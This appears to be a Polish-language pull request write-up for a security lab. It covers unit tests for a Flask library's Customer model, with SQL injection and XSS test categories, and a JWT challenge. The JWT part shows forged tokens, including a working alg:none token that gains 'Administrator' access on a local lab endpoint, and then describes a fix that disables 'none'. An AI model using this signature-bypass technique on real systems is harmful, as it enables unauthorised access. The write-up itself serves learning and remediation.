zakonczone walthrough #50
Open
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
Zadanie 1 - Przygotowanie rozszerzonego zestawu testów jednostowych
Wybrana klasa:
Customer(Python Flask Book Library)Opis klasy Customer
Model
Customerreprezentuje klienta biblioteki z następującymi polami:id- Integer, klucz głównyname- String(64), unikalne, indeksowanecity- String(64)age- Integerpesel- String(64)street- String(128)appNo- String(10)Kategorie testów
1. Testy poprawnych danych (TestCustomerValidData)
__repr__2. Testy niepoprawnych danych (TestCustomerInvalidData)
3. Testy SQL Injection (TestCustomerSQLInjection)
4. Testy XSS/JavaScript Injection (TestCustomerXSSInjection)
<script>z alert<img>z onerror<svg>z onload<body>z onload5. Testy ekstremalne (TestCustomerExtremeValues)
6. Testy przypadków brzegowych (TestCustomerEdgeCases)
Uruchomienie testów
Wnioski
Pomimo niepoprawnych danych, projekt się uruchamia, nie jest on wystarczjąco zabezpieczony
Zadanie 2 - JWT — wykorzystanie podatności oraz realizacja poprawki
Rozszyfrowanie tokenu
Otrzymany token
{ "jwt": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhY2NvdW50IjoiQm9iIiwicm9sZSI6IlVzZXIiLCJpYXQiOjE3NjQ2MTY0NDAsImF1ZCI6Imh0dHBzOi8vMTI3LjAuMC4xL2p3dC9ub25lIn0.sg9rlB0khIe39Pc6DsbGzCo06XjXmZoTUPjfI3Syzkg", "endpoint": "https://127.0.0.1/jwt/none" }Zdekodowana odpowiedź
Obserwacje
Przy kolejnych odpowiedziach zmienia się tylko wartość "iat" i podpis po ostatniej kropce.
Atak
Pomysł 1 - podmienienie pola "account" z "User" na "Administrator"
Paczka:
{ "jwt_token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhY2NvdW50IjoiQWRtaW5pc3RyYXRvciIsInJvbGUiOiJVc2VyIiwiaWF0IjoxNzY0NjE4NTQ2LCJhdWQiOiJodHRwczovLzEyNy4wLjAuMS9qd3Qvbm9uZSJ9.RfgGRkdhwZBHhLSYcgsMN86nbLseo6VJvv3BfvtU5KM" }Wynik:
{ "name": "JsonWebTokenError", "message": "invalid signature" }Zły podpis
Pomysł 2 - Usunięcie pola podpisu
{ "jwt_token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhY2NvdW50IjoiQWRtaW5pc3RyYXRvciIsInJvbGUiOiJVc2VyIiwiaWF0IjoxNzY0NjE4NTQ2LCJhdWQiOiJodHRwczovLzEyNy4wLjAuMS9qd3Qvbm9uZSJ9." }{ "name": "JsonWebTokenError", "message": "jwt signature is required" }Pomysł 3 - zmiana nagłówka podpisu z {"alg":"HS256","typ":"JWT"} na {"alg":"none","typ":"JWT"} zostawiając puste miejsce po kropce
{ "jwt_token":"eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJhY2NvdW50IjoiQWRtaW5pc3RyYXRvciIsInJvbGUiOiJVc2VyIiwiaWF0IjoxNzY0NjE4NTQ2LCJhdWQiOiJodHRwczovLzEyNy4wLjAuMS9qd3Qvbm9uZSJ9." }Wynik:
{ "message": "Congrats!! You've solved the JWT challenge!!", "jwt_token": { "header": { "alg": "none", "typ": "JWT" }, "payload": { "account": "Administrator", "role": "User", "iat": 1764618546, "aud": "https://127.0.0.1/jwt/none" }, "signature": "" } }Poprawka
W wersji minimalistycznej dodałem sprawdzenie:
Dla pełnego bezpieczeństwa należałoby wyłączyć całkowicie opcję none z akceptowanych podpisów, czyli usunąć tą linijkę:
a także zakomentować opcję "none w polu verify: